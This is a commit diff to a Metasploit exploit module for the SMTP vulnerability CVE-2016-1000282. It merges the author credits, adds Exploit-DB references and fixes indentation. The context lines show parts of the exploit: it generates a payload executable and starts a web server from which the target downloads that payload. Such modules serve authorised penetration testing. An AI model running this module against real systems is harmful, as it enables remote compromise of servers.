Update, changed some fields in Initialize

- deduplication of Author fields
- update of references
- fix minor identation

Author: xychix

modules/exploits/linux/smtp/harakiri.rb

@@ -52,14 +52,15 @@ def initialize(info = {})
       },
       'Author'         =>
         [
-          'xychix / Mark', # Exploit DB exploit based on github patch
-          'xychix / Mark' # Metasploit module
+          'xychix / Mark, Outflank' # Exploit-DB python exploit and msf module
         ],
       'License'        => MSF_LICENSE,
       'References'     =>
         [
           [ 'CVE', '2016-1000282'],
-          [ 'URL', 'https://github.com/outflankbv/Exploits/blob/master/harakiri-CVE-2016-1000282.py']
+          [ 'EDB-ID', '41162'],
+          [ 'URL', 'https://github.com/outflankbv/Exploits/blob/master/harakiri-CVE-2016-1000282.py'],
+          [ 'URL', 'https://www.exploit-db.com/exploits/41162/']
         ],
       'Privileged'     => false,
       'Arch'           => ARCH_X86,
@@ -119,15 +120,15 @@ def on_request_uri(cli, request)
   end
 
   def exploit
-  @pl = generate_payload_exe
+    @pl = generate_payload_exe
     @elf_sent = false
 
     #
     # start our web server to deploy the final payload
     #
     downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
     resource_uri = '/' + downfile
-  webport = datastore['SRVPORT']
+    webport = datastore['SRVPORT']
 
     if (datastore['DOWNHOST'])
       service_url_payload = datastore['DOWNHOST'] + resource_uri